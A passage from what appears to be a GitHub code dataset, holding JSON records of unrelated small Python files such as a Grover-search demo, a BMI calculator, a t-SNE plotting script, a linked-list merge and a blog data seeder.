self.store.get(args.name, {})\n for mod in self.client.modules:\n if mod.name == 'session':\n continue\n mod.load(cache.get(mod.name, {}))\n\n def handle_list(self, args):\n for name in self.store.keys():\n print(name)\n\n def handle_show(self, args):\n for mod in self.client.modules:\n cache = mod.save()\n if cache and mod.name not in {'session'}:\n print('{}:'.format(mod.name))\n print(' {}'.format(pprint.pformat(cache, indent=3)))\n","repo_name":"uptick/python-fuku","sub_path":"fuku/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"26475389553","text":"from __future__ import print_function\nfrom stylelens_dataset.images import Images\nfrom pprint import pprint\n# create an instance of the API class\napi_instance = Images()\n\n\ntry:\n ids = []\n\n ids.append('5a718ce0bd44107fbae98994')\n\n res = api_instance.validate_images(ids, valid=True)\n pprint(res)\nexcept Exception as e:\n print(\"Exception when calling validate_images: %s\\n\" % e)\n","repo_name":"BlueLens/stylelens-dataset","sub_path":"sample/validate_images.py","file_name":"validate_images.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40793161946","text":"import random\nfrom math import floor, log\nfrom lib.util import execute, num_qubits, random_letters\nfrom lib.grover import grover\nfrom lib.oracles.logic import oracle\n\ndef init(target, n):\n # Initialize an array of random letters, including the target ones in the string.\n arr = random_letters(n)\n\n # Store used indices so that we don't overwrite target letters.\n indices = [-1]\n\n # Select random indices for the target letters.\n for i in range(len(target)):\n index = -1\n\n # Select a random index until we find one that hasn't been used.\n while index in indices:\n index = random.randint(0, n - 1)\n\n # Set the target letter at the selected index.\n arr[index] = target[i]\n\n # Add the index to the list of used indices.\n indices.append(index)\n return arr\n\ndef logic(arr, target, n):\n # Finds the indices within arr for each position of target letter and returns a Python function as a string to be used in an oracle.\n prog = '''def oracle_func(_PARAMS_) -> Int1:\n return _CLAUSE_'''\n\n # Insert the parameters for the function, based upon the number of qubits needed for target.\n qubits = floor(log(n, 2))\n params = ''\n for i in range(qubits):\n # x1: Int1, x2: Int1, x3: Int1\n params += 'x' + str(i + 1) + ': Int1, '\n\n # Remove the trailing comma.\n params = params[:-2]\n prog = prog.replace('_PARAMS_', params)\n\n # Insert the clauses for the function, based upon the bit location(s) for the target letter.\n # (not x1 and not x2 and not x3) or (x1 and x2 and not x3)\n clauses = ''\n # Find the next index of the target letter.\n index = arr.index(target, 0)\n while index != -1:\n # Convert the index to a binary string.\n bin_str = bin(index)[2:]\n\n # Pad the binary string with zeros to the length of the qubits.\n bin_str = bin_str.zfill(qubits)\n\n # Generate the logical string for the clause.\n clause = ''\n for j in range(len(bin_str)-1, -1, -1):\n if bin_str[j] == '0':\n clause += 'not '\n clause += 'x' + str(len(bin_str) - j) + ' and '\n\n # Trim trailing 'and ' from the clause.\n clause = clause[:-5]\n\n # Add parentheses to the clause.\n clause = '(' + clause + ')'\n\n # Insert the clause into the clauses.\n clauses += clause + ' or '\n\n # Find the next index matching the letter (if any more exist).\n try:\n index = arr.index(target, index + 1)\n except ValueError:\n # No more letters found.\n index = -1\n\n # Trim trailing 'or ' from the clauses.\n clauses = clauses[:-4]\n prog = prog.replace('_CLAUSE_', clauses)\n\n return prog\n\ndef main(phrase):\n execute.provider = None\n\n # Calculate the number of qubits needed to represent the number of letters in the target.\n qubits = num_qubits(len(phrase))\n\n bits = 2 ** qubits\n arr = init(phrase, bits)\n\n print(str(qubits) + ' qubits, ' + str(bits) + ' possibilities')\n print('Using random letters:')\n print(arr)\n\n # Use the oracle to find the indices of the target letters.\n indices = []\n for letter in phrase:\n print(\"Finding letter '\" + letter + \"'\")\n\n # Generate a logical function for the oracle.\n prog = logic(arr, letter, bits)\n\n # Generate the quantum circuit.\n qc = grover(oracle, prog, qubits)\n #print(qc.draw())\n\n # Execute the quantum circuit.\n result = execute(qc)\n\n # Get the resulting hit counts.\n counts = result.get_counts()\n print(counts)\n\n # Find the most frequent hit count.\n key = max(counts, key=counts.get)\n\n # Since the quantum computer returns a binary string (one bit for each qubit), we need to convert it to an integer.\n index = int(key, 2)\n\n # Print the resulting letter selected by the quantum circuit.\n print(arr[index])\n\n indices.append({'binary': key, 'index': index, 'letter': letter})\n\n print('\\nRandom letters:')\n print(arr)\n print()\n\n print('Final result from the quantum circuit:\\n')\n for i in range(len(indices)):\n letter = arr[indices[i]['index']]\n index = indices[i]['index']\n binary = indices[i]['binary']\n\n print(letter + ' (at index ' + str(index) + ' [' + binary + '])')\n\nmain('hello')\n","repo_name":"primaryobjects/oracle","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":4405,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"32937869847","text":"\n\n# вычисление средних оценок студентов\nwith open('student_performance.csv') as f:\n math = []\n reading = []\n writing = []\n for line in f:\n info = line.split(',')\n if 'math' in info[5]:\n continue\n math.append(int(info[5][1:-1]))\n reading.append(int(info[6][1:-1]))\n writing.append(int(info[7][1:-2]))\nmath_mean = round(sum(math)/len(math), 3)\nreading_mean = round(sum(reading)/len(reading), 3)\nwriting_mean = round(sum(writing)/len(writing), 3)\nmarks = [math_mean, reading_mean, writing_mean]\nwith open('mean_scores.txt', 'w') as f:\n for mark in marks:\n f.write(str(mark))\n f.write(' ')","repo_name":"roshak7/test_sf_analitics","sub_path":"работа с файлам/запись файлов/test_write.py","file_name":"test_write.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25407976118","text":"from ufwi_rpcd.common import tr\n\nROLE_TO_NAME = {\n 'multisite': tr('Central Management'),\n 'nuconf': tr('Configuration'),\n 'nuface': tr('Firewall'),\n 'nulog': tr('Logs'),\n 'nuconntrack': tr('Connection Tracking'),\n 'nupki': tr('Internal PKI'),\n 'nuauth_command': tr('Manage User Sessions'),\n 'ufwi_rpcd': tr('Manage EAS User Rights'),\n 'nurestore': tr('Restoration Manager'),\n 'nudpi': tr('Protocol Analysis'),\n 'nugraph': tr('Graph'),\n}\n\ndef display_name(role):\n \"\"\"\n if available return a displayable name for role\n \"\"\"\n if role in ROLE_TO_NAME:\n return ROLE_TO_NAME[role]\n else:\n return role\n","repo_name":"maximerobin/Ufwi","sub_path":"etude_de_base/ufwi-administration-suite-ufwi-rpcc-qt/ufwi_rpcc_qt/roles_name.py","file_name":"roles_name.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"23823665651","text":"from sklearn import decomposition,manifold\nimport pandas as pd\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\ntry:\n import plotly.express as px\nexcept:\n px=None\n\n\ndef scatter(data, dimension=\"2D\", point_size=3, sty='default',\n label=None, title=None, alpha=None, aes_label=None,\n **kwargs):\n \"\"\"\n This function is to plot scatter plot of embedding points\n \n \n Parameters\n ----------\n data : numpy.array\n A numpy array which has 2 or 3 columns, every row represent a point.\n dimension : str, optional\n Specifiy the dimension of the plot, either \"2D\" or \"3D\".\n The default is \"2D\".\n point_size : float, optional\n Set the size of the points in scatter plot.\n The default is 3.\n sty : str, optional\n Styles of Matplotlib. The default is 'default'.\n label : list or None, optional\n Specifiy the label of each point. The default is None.\n title : str, optional\n Title of the plot. The default is None.\n alpha : float, optional\n The alpha blending value. The default is None.\n aes_label : list, optional\n Set the label of every axis. The default is None.\n **kwargs :\n Other arguments passed to the `matplotlib.pyplot.legend`,\n controlling the plot's legend.\n\n Returns\n -------\n Scatter plot of either 2D or 3D.\n\n \"\"\"\n\n # Error messages.\n if dimension not in [\"2D\", \"3D\"]:\n raise ValueError('Dimension must be \"2D\" or \"3D\".')\n if (dimension==\"2D\" and len(data[0])!=2) or (dimension==\"3D\" and len(data[0])!=3):\n raise ValueError('Data shape must match dimension!')\n if (label is not None) and len(data)!=len(label):\n raise ValueError('Number of rows in data must equal to length of label!')\n\n\n mpl.style.use(sty)\n\n # 2D scatter plot\n if dimension==\"2D\":\n\n # Plot with label\n if label is not None:\n label=np.array(label)\n lab=list(set(label))\n for index, l in enumerate(lab):\n if l==0:\n xx='M41-N'\n # xx='0'\n elif l==1:\n xx=\"M41-P\"\n # xx=\"1\"\n elif l==2:\n xx = \"H41-N\"\n # index = 9\n # xx = \"2\"\n elif l==3:\n xx = \"H41-P\"\n # index = 10\n # xx = \"3\"\n plt.scatter(data[label==l,0], data[label==l,1],\n c='C{!r}'.format(index),\n s=point_size, label=xx,\n alpha=alpha)\n plt.xticks(weight='bold')\n plt.yticks(weight='bold')\n\n plt.legend(prop={'weight':'bold'},**kwargs)\n # 添加x轴和y轴标签\n # plt.ylabel(u'Negative Sampels', fontsize=20)\n # plt.ylabel(u'positive Sampels', fontsize=20)\n # plt.xlabel(u'Dimensions', fontsize=20)\n\n # plt.legend(fontsize=15,fontweigh='bold')\n # Plot without label\n else:\n plt.scatter(data[:,0], data[:,1], s=point_size, alpha=alpha)\n\n if aes_label is not None:\n plt.xlabel(aes_label[0])\n plt.ylabel(aes_label[1])\n\n\n # 3D scatter plot\n if dimension==\"3D\":\n splot = plt.subplot(111, projection='3d')\n\n # Plot with label\n if label is not None:\n label=np.array(label)\n lab=list(set(label))\n\n for index, l in enumerate(lab):\n splot.scatter(data[label==l,0], data[label==l,1], data[label==l,2],\n s=point_size,\n color='C{!r}'.format(index),\n label=l)\n plt.legend(**kwargs)\n # Plot without label\n else:\n splot.scatter(data[:,0], data[:,1], data[:,2],s=point_size)\n\n if aes_label is not None:\n splot.set_xlabel(aes_label[0])\n splot.set_ylabel(aes_label[1])\n splot.set_zlabel(aes_label[2])\n\n plt.title(title,fontweight='bold')\n # plt.savefig('./tsne_H41.tif',dpi=350)\n plt.savefig('./tsne_H41_model_all.tif',dpi=350)\n # plt.savefig('./tsne_S51.tif',dpi=350)\n\n plt.show()\n\n\ndef draw(tsne,emb):\n if tsne:\n tsne = manifold.TSNE(2)\n rawdata = emb.iloc[:,1:]\n pc = tsne.fit_transform(rawdata)\n scatter(pc,dimension=\"2D\",label=emb.label,title='H41-model')\n else:\n pca = decomposition.PCA(2)\n rawdata = emb.iloc[:,1:]\n pc = pca.fit_transform(rawdata)\n scatter(pc,dimension=\"2D\",label=emb.label,title='pca', aes_label=['PCA-1','PCA-2'])\n\nif __name__==\"__main__\":\n # emb=pd.read_csv('Features/H41/Train_Test_feature.csv',header=None)\n # emb=pd.read_csv('Features/S51/Train_Test_feature9.csv',header=None)\n # emb=pd.read_csv('M41_H41_feature_all_max_min.csv',header=None)\n emb=pd.read_csv('H41model_All_feature.csv',header=None)\n emb=emb.rename(columns={0:\"label\"})\n # print(emb.label)\n #第一列为label\n # draw(True,emb)\n draw(True,emb)\n","repo_name":"ZLSRW/M6ASLD","sub_path":"m6ASLD/code/Figure_drawing/Cross-species identification task/tsne/tsne.py","file_name":"tsne.py","file_ext":"py","file_size_in_byte":5230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25538745000","text":"# Global Variable - Accessed anywhere\n# Local Variable - Within it's function\n\n# EXAMPLES OF GLOBAL VARIABLE\n\nx = 6 \n\ndef example():\n global x \n print(x)\n x+=5\n print(x)\n\nexample()\n\n# or\n\n# def example():\n \n# globx = x\n# print(globx)\n# globx+=5\n# print(globx)\n\n# example()\n\n# or\n\n# def example():\n \n# globx = x\n# print(globx)\n# globx+=5\n# print(globx)\n\n# return globx\n\n# x = example()\n# print(x)\n","repo_name":"GitAbdelali/Python","sub_path":"Learning/Global&Local.py","file_name":"Global&Local.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14471468993","text":"# Realiza un programa que proporcione el desglose en billetes y monedas de una\r\n# cantidad entera de euros. Recuerda\r\n# que hay billetes de 500, 200, 100, 50, 20, 10 y 5 ¤ y monedas de 2 y 1 ¤.\r\n# Debes ✭✭recorrer✮✮ los valores de billete y moneda\r\n# disponibles con uno o m´as bucles for-in.\r\n\r\ndef introducirCantidad():\r\n while True:\r\n try:\r\n cantidad = float(input(\"Por favor ingrese una cantidad: \"))\r\n if cantidad < 0:\r\n print('La cantidad debe ser positiva')\r\n else:\r\n return cantidad\r\n break\r\n except ValueError:\r\n print(\"Oops! No era válido. Intente nuevamente...\")\r\n# fin funcion\r\ndef desglosarCantidad(cantidad):\r\n arrayCantidadMonedasBilletes = [500,200,100,50,20,10,5,2,1,0.5,0.2,0.1,0.05,0.02,0.01]\r\n monBil = ''\r\n restoCantidad = 0\r\n cantidadUnidad = 0\r\n\r\n for i in range(len(arrayCantidadMonedasBilletes)):\r\n if cantidad == arrayCantidadMonedasBilletes[i]:\r\n print('HAY ' + '1' + ' ' + monBil + ' DE ' + str(arrayCantidadMonedasBilletes[i]) + ' EUROS')\r\n break\r\n else:\r\n # sacamos el resto\r\n restoCantidad = cantidad%arrayCantidadMonedasBilletes[i]\r\n # restamos el resto a la cantidad\r\n cantidad = cantidad - restoCantidad\r\n # y la dividimos por la posicion para sacar la cantidad exacta de billetes o monedas\r\n cantidadUnidad = int(cantidad/arrayCantidadMonedasBilletes[i])\r\n\r\n # estos es para billetes o monedas\r\n if arrayCantidadMonedasBilletes[i] < 3:\r\n if cantidadUnidad > 1:\r\n monBil = 'MONEDAS'\r\n else:\r\n monBil = 'MONEDA'\r\n else:\r\n if cantidadUnidad > 1:\r\n monBil = 'BILLETES'\r\n else:\r\n monBil = 'BILLETE'\r\n\r\n print('HAY ' + str(cantidadUnidad) + ' ' + monBil + ' DE ' + str(arrayCantidadMonedasBilletes[i]) + ' EUROS')\r\n # ponemos los valores para siguiente vuelta\r\n cantidad = restoCantidad\r\n cantidadUnidad = 0\r\n# fin funcion\r\n\r\n\r\n\r\n\r\ncantidad = introducirCantidad()\r\ndesglosarCantidad(cantidad)\r\n","repo_name":"hector81/Aprendiendo_Python","sub_path":"Bucles/Desglose_Cantidad_Monedas_Euros.py","file_name":"Desglose_Cantidad_Monedas_Euros.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10743276946","text":"array = [4, 138, 183, 422, 925, 5, 319, 349, 566, 676, 866, 4, 163, 253, 393, 548, 4, 60, 89, 203, 344, 6, 346, 356, 434, 522, 719, 842, 10, 32 ,63, 66, 80, 149, 255, 393, 453, 690, 966 ,8 ,187 ,395 ,442 ,526 ,641, 741, 791, 928]\n\n# class MinHeap:\n# def __init__(self, array):\n# # Do not edit the line below.\n# self.heap = self.buildHeap(array)\n\n# def buildHeap(self, array):\n# \tfirstChild = (len(array) -2) // 2\n# \tfor currentIdx in reversed(range(firstChild + 1)):\n# \t\tself.siftDown(currentIdx, len(array) - 1, array)\n# \treturn array\n\t\t\n\n# def siftDown(self, currentIdx, endIdx, heap):\n# # Write your code here.\n# childOne = currentIdx * 2 + 1\n# while childOne <= endIdx:\n# \tchildTwo = currentIdx * 2 + 2 if currentIdx * 2 + 2 <= endIdx else -1\n# \tif childTwo != -1 and heap[childTwo] < heap[childOne]:\n# \t\tidxToSwap = childTwo\n# \telse:\n# \t\tidxToSwap = childOne\n# \tif heap[currentIdx] > heap[idxToSwap]:\n# \t\tself.swap(currentIdx, idxToSwap, heap)\n# \t\tcurrentIdx = idxToSwap\n# \t\tchildOne = currentIdx * 2 + 1\n# \telse:\n# \t\treturn\n\n# def swap(self, idx1, idx2, heap):\n# \theap[idx1], heap[idx2] = heap[idx2], heap[idx1]\n\n# def siftUp(self, currentIdx, heap):\n# \tparentIdx = (currentIdx - 1) // 2\n\n# \twhile currentIdx > 0 and heap[parentIdx] > heap[currentIdx]:\n# \t\tself.swap(parentIdx, currentIdx, heap)\n# \t\tcurrentIdx = parentIdx\n# \t\tparentIdx = (currentIdx - 1) // 2\n \n# def peek(self):\n# # Write your code here.\n# return self.heap[0]\n\n# def remove(self):\n# \t# (N * k * log(k))\n\n# \tself.swap(0, len(self.heap) - 1, self.heap)\n# \tremoveValue = self.heap.pop()\n# \tself.siftDown(0, len(self.heap) - 1, self.heap)\n# \tprint(removeValue)\n\n# def insert(self, value):\n# # Write your code here.\n# self.heap.append(value)\n# self.siftUp(len(self.heap) - 1, self.heap)\n\n\n# h = MinHeap([])\n\n# counter = 0\n\n# for i in range(len(array)):\n# \tMinHeap.insert(h, array[i])\n# \tcounter += 1\n# \t# print(array[i])\n\n# while counter > 0:\n# \tMinHeap.remove(h)\n# \tcounter -= 1\n\n# print(\"end\")\n\n#-------------------------------------------------------------------------------------------------------------------------#\n\n# Feel free to use the navie apporach as well.!\n\nclass Node:\n\tdef __init__(self, value):\n\t\tself.data = value\n\t\tself.next = None\n\nclass LinkList:\n\tdef __init__(self):\n\t\tself.head = None\n\t\tself.tail = None\n\n\tdef add(self, value):\n\t\tif self.head is None:\n\t\t\tself.head = Node(value)\n\t\t\tself.tail = self.head\n\t\telse:\n\t\t\tself.tail.next = Node(value)\n\t\t\tself.tail = self.tail.next\n\n\tdef return_head(self):\n\t\treturn self.head\n\n\n# this block of code will create the linklist from the given array\n\nnextElementIdx = 0\ni = 0;\nquestion = []\nwhile i < len(array):\n\tsize = array[i]\n\ttemp = size\n\tl1 = LinkList()\n\twhile temp != 0:\n\t\ttemp -= 1\n\t\ti += 1\n\t\tl1.add(array[i])\n\n\tquestion.append(l1.return_head())\n\ti += 1\n\n# printing of the an array containg the link list: -\n\n# for i in range(len(question)):\n# \thead = question[i]\n# \twhile head:\n# \t\tprint(head.data, end=\"->\")\n# \t\thead = head.next\n# \tprint()\n\nresult = None\n\nfor i in range(len(question)):\n\thead = question[i]\n\n\twhile head:\n\n\t\tif result is None:\n\t\t\tresult = Node(head.data)\n\t\t\thead = head.next\n\n\t\telse:\n\t\t\ttemp1 = result\n\n\t\t\t# travel the resulted linklist to find the apporiate postion of the node to be inserted!\n\n\t\t\twhile temp1:\n\n\t\t\t\tif temp1.data > head.data:\n\t\t\t\t\tadd = Node(head.data)\n\t\t\t\t\tadd.next = temp1\n\t\t\t\t\tresult = add\n\t\t\t\t\tbreak\n\n\t\t\t\telif temp1.next is None:\n\t\t\t\t\ttemp1.next = Node(head.data)\n\t\t\t\t\tbreak\n\n\t\t\t\telif temp1.next.data < head.data:\n\t\t\t\t\ttemp1 = temp1.next\n\n\t\t\t\telse:\n\t\t\t\t\t# now the logic of moving the element to the palce\n\t\t\t\t\tcurernt_next = temp1.next\n\t\t\t\t\ttemp1.next = Node(head.data)\n\t\t\t\t\ttemp1 = temp1.next\n\t\t\t\t\ttemp1.next = curernt_next\n\t\t\t\t\tbreak\n\n\t\t\thead = head.next\n\n# As temp is pointing to the head of the list we will return the temo\nprint()\nprint()\nwhile result:\n\tprint(result.data, end=\"->\")\n\tresult = result.next\n\nprint()\nprint()","repo_name":"PranavPatel292/FunAlgo","sub_path":"Merge_LinkList_in_Sorted_Form.py","file_name":"Merge_LinkList_in_Sorted_Form.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17883486425","text":"import cv2\nimport numpy as np\nimport os\n\nimport EngineFiles.ReadChars as RC\nimport EngineFiles.ReadPlates as RP\n\n'''\nBGR Color Palettes\nB-G-R formatting\n'''\nBGR_black = (0.0, 0.0, 0.0)\nBGR_white = (255.0, 255.0, 255.0)\nBGR_yellow = (0.0, 255.0, 255.0)\nBGR_green = (0.0, 255.0, 0.0)\nBGR_red = (0.0, 0.0, 255.0)\n\nshowSteps = False\n\ndef PlateRecognition():\n KNNmodelTrain = RC.KNNmodeling()\n if KNNmodelTrain == False:\n print(\"\\nKNN modeling and training was not completed and raised error!\")\n return None\n\n licPlateImg = cv2.imread('LicPlates/1.png')\n\n if licPlateImg is None:\n print(\"\\nimage not found or the file is corrupted!\")\n os.system('pause')\n return None\n\n ListPlates = RP.CropPlates(licPlateImg)\n ListPlates = RC.GetCharsInPlate(ListPlates)\n\n cv2.imshow('Vehicle Plate Image', licPlateImg)\n\n# =================================================================================\n\nif __name__ == '__main__':\n PlateRecognition()","repo_name":"devildances/ComputerVision-Plate_Recognition","sub_path":"MainScript.py","file_name":"MainScript.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43275028574","text":"from typing import Tuple, List, Dict\nimport pandas as pd\nfrom tqdm import tqdm\n\n\nhealth_risk_bmi_data = {\n\t\"BMI_category\":[\"Underweight\", \"Normal weight\", \"Overweight\", \"Moderately obese\", \"Severely obese\", \"Very severely obese\"],\n\t\"BMI_range\":[(None, 18.4), (18.4, 24.9), (24.9, 29.9), (29.9, 34.9), (34.9, 39.9), (39.9, None)],\n\t\"health_risk\":[\"Malnutrition risk\", \"Low risk\", \"Enhanced risk\", \"Medium risk\", \"High risk\", \"Very high risk\"]\n}\n\n\nclass BMICalculator():\n\tdef __init__(self) -> None:\n\t\tself.input_json_file = 'test_data.json'\n\n\t\tself.person_bmi_details = [] \n\t\tself.overweight_persons_count = 0\n\n\n\tdef __convert_to_meter(self, value: float) -> float:\n\t\t\"\"\"\n\t\tMethod to convert centimeter to meter\n\t\t\"\"\"\n\t\treturn value * 0.01\n\n\n\tdef calculate_bmi(self, weight_in_kg: int, height_in_cm: int) -> float:\n\t\t\"\"\"\n\t\tMethod to calcuate the BMI value based on weight & height.\n\t\t\"\"\"\n\t\theight_in_m = self.__convert_to_meter(height_in_cm)\n\t\tbmi = weight_in_kg / (height_in_m * height_in_m)\n\t\treturn round(bmi, 2)\n\n\n\tdef get_health_risk_and_bmi_category(self, bmi: float) -> Tuple[str, str]:\n\t\t\"\"\"\n\t\tMethod to retrieve the health risk & BMI category based on BMI value.\n\n\t\t\"\"\"\n\t\tlist_of_bmi_range = health_risk_bmi_data['BMI_range']\n\t\tfor i, bmi_range in enumerate(list_of_bmi_range):\n\t\t\tif i == 0:\n\t\t\t\tif bmi <= bmi_range[1]:\n\t\t\t\t\treturn health_risk_bmi_data['health_risk'][i], health_risk_bmi_data['BMI_category'][i]\n\t\t\telif i == len(list_of_bmi_range)-1:\n\t\t\t\tif bmi > bmi_range[0]:\n\t\t\t\t\treturn health_risk_bmi_data['health_risk'][i], health_risk_bmi_data['BMI_category'][i]\n\t\t\telse:\n\t\t\t\tif bmi > bmi_range[0] and bmi <= bmi_range[1]:\n\t\t\t\t\treturn health_risk_bmi_data['health_risk'][i], health_risk_bmi_data['BMI_category'][i]\n\n\n\n\tdef run(self, data_json: List[Dict]) -> None:\n\t\t\"\"\"\n\t\tMain method to run the program and count the overweighted persons.\n\t\t\"\"\"\n\t\t\n\t\tfor person in tqdm(data_json, desc =\"Calculating BMI...\"):\n\t\t\tbmi = self.calculate_bmi(person['WeightKg'], person['HeightCm'])\n\t\t\thealth_risk, bmi_category = self.get_health_risk_and_bmi_category(bmi)\n\n\t\t\tself.person_bmi_details.append({'BMI': bmi, 'health_risk': health_risk, 'BMI_category': bmi_category})\n\n\t\t\tif bmi_category == health_risk_bmi_data['BMI_category'][2]:\n\t\t\t\tself.overweight_persons_count += 1\n","repo_name":"nitinmlvya/code-20220208-nitinsolanki","sub_path":"bmi_calculator.py","file_name":"bmi_calculator.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"9654187407","text":"import os\nimport struct\nimport shutil\nimport numpy as np\n\nfrom common_utils import console, dataset\nfrom common_utils.dataset import DEFAULT_HEADER\nHEADER = DEFAULT_HEADER\n\n\nclass KeywordVector:\n \"\"\"\n A wrapper for an distribution vector.\n \"\"\"\n ID = None\n DISTRIBUTION = None\n\n def get_ith(self, index):\n return self.ID, self.DISTRIBUTION[index]\n\n\nclass Keywords:\n \"\"\"\n A class holding label distributions.\n \"\"\"\n\n def __init__(self):\n self.NO_CLASSES = 0\n self.NO_IMAGES = 0\n self.CLASSES = dict()\n\n def __getitem__(self, key):\n \"\"\"\n Returns:\n KeywordVector object for given image id.\n \"\"\"\n kv = KeywordVector()\n kv.ID = key\n kv.DISTRIBUTION = np.zeros(self.NO_CLASSES, dtype=np.dtype(np.float32))\n for i in range(self.NO_CLASSES):\n kv.DISTRIBUTION[i] = self.CLASSES[i][key]\n kv.DISTRIBUTION /= np.sum(kv.DISTRIBUTION)\n return kv\n\n def __len__(self):\n return self.NO_IMAGES\n\n def read_images(self, filename):\n \"\"\"\n Reads index of image mappings [images, classes] from a file.\n \"\"\"\n if os.path.isfile(filename + \".inverted\"):\n self._read_inverted_index(filename + \".inverted\")\n return\n\n images = dict()\n dt = np.dtype(np.float32).newbyteorder(\"<\")\n\n with dataset.read_file(filename, HEADER) as f:\n self.NO_CLASSES = struct.unpack(\"> Reading image vectors...\")\n\n self.NO_IMAGES = 0\n while id_no != b'':\n kv = KeywordVector()\n kv.ID = struct.unpack(\"> Inverting image vectors...\")\n pt.reset(self.NO_CLASSES)\n\n for i in range(self.NO_CLASSES):\n self.CLASSES[i] = np.zeros(len(images))\n for image in images.values():\n self.CLASSES[i][image.ID] = image.DISTRIBUTION[i]\n pt.increment()\n pt.info(\">> Saving inverted vectors...\")\n pt.reset(self.NO_CLASSES)\n\n with dataset.create_file(filename, [(\"> Reading inverted vectors...\")\n self.NO_CLASSES = struct.unpack(\" \" + str(self.IDF[i]))\n\n\ndef __copy_image_files_to_one_dir(from_dir, to_dir):\n \"\"\"\n Copies files from video directories to one directory and renames them.\n \"\"\"\n pt = console.ProgressTracker()\n\n if not os.path.exists(to_dir):\n os.mkdir(to_dir)\n\n dirs = os.listdir(from_dir)\n dirs.sort(key=int)\n\n pt.info(\">> Copying files...\")\n pt.reset(len(dirs))\n\n i = 0\n for d in dirs:\n directory = os.path.join(from_dir, d)\n for file in sorted(os.listdir(directory)):\n filename = os.path.join(directory, file)\n destination = os.path.join(to_dir, str(i).zfill(7) + \".jpg\")\n shutil.copyfile(filename, destination)\n i += 1\n pt.increment()\n","repo_name":"soCzech/KeywordSearch","sub_path":"tensorflow/simulations/simulation_utils.py","file_name":"simulation_utils.py","file_ext":"py","file_size_in_byte":5562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"28870315299","text":"from blog.models import *\nimport random\n\n\nnames = list(open('./data/names'))\nemails = list(open('./data/emails'))\nlastname = list(open('./data/lastname'))\n\nuser = 'user'\ni = 0\n\nfor e in list(emails):\n MyUser.objects.create_a_user(username=user+str(i),\n first_name=random.choice(names).rstrip(),\n last_name=random.choice(lastname).rstrip(),\n email=e.rstrip(),\n password=random.choice(names).rstrip())\n i+=1\n\nf = open('./data/qtitle')\ntitle = ' '.join([line.strip() for line in f])\nf.close()\nf = open('./data/tags')\ntags = [line.strip() for line in f]\nf.close()\nf = open('./data/qtext')\ntext = ' '.join([line.strip() for line in f])\nf.close()\n\nusers = MyUser.objects.all()\n\nfor i in range(100):\n Question.objects.create_a_question(random.choice(users),\n title=title, text=text,\n tags = random.choices(tags,k=random.choice(range(len(tags)))))\n\nanswers = list()\nfor i in range(1,5):\n f = open('./data/answer' + str(i))\n answers.append(' '.join([line.strip() for line in f]))\n f.close()\n\nusers = MyUser.objects.all()\nquestions = Question.objects.all()\n\nfor i in range(100):\n j = random.choice(range(10))\n for k in range(j):\n user = random.choice(users)\n question = random.choice(questions)\n if user.username == question.author.username:\n continue\n Answer.objects.create_answer(user, question, random.choice(answers))\n\nquestions = Question.objects.all()\nusers = MyUser.objects.all()\nfor q in questions:\n for u in random.choices(users,k=random.choice(range(500))):\n q.set_like(u, random.choice([True,True,True,False]))\n\n","repo_name":"myjupyter/HW_WEB","sub_path":"project/scripts/add_data.py","file_name":"add_data.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22934373000","text":"L = 1\nR = 100\np1 = []\nfor i in range(2,int(R**0.5)+1):\n if i<=3:\n p1.append(i)\n else:\n for j in range(5,int(i**0.5)+1,6):\n if i%j==0 or i%(j+2)==0:\n break\n p1.append(i)\n# print(p1)\n\nd = {}\nfor i in range(L, R + 1):\n d[i] = 0\n# print(d)\n# print(len(d))\n\nfor i in p1:\n for p2 in d.keys():\n # print(p2, i)\n if p2 % i == 0 and p2 != i:\n # print(p2)\n d[p2] = 1\n# print(d)\nfor key, value in d.items():\n if value == 0:\n print(key)","repo_name":"Kartavya-verma/Python-Projects","sub_path":"LeetCode/segmented_1.py","file_name":"segmented_1.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29604389485","text":"\"\"\"\nAuthor: Ho Xiu Qi\n\nDate Completed: 25th Oct 2021\nLast Updated: 25th Oct 2021\n\nDescription:\n> GUI code for the ICT2202 Team Assignment \"DigiTrace\" Home & Dashboard page\n\nAliases used:\n> WOI = Wallet of Interest\n\"\"\"\nfrom PyQt5.QtWidgets import * # UI Elements library\nfrom PyQt5.QtGui import QFont\nfrom PyQt5.QtCore import Qt, QDateTime\nfrom PyQt5.QtWebEngineWidgets import QWebEngineView # Widget to display Pyvis HTML files\nfrom PyQt5 import uic # Library to load\nfrom pyvis.network import Network # Core library for producing the transaction network graphs\n\nfrom constants import * # All constants used in the project\nfrom transactionWindow import TransactionWindow\nfrom nodeProfileWindow import NodeProfileWindow\n# 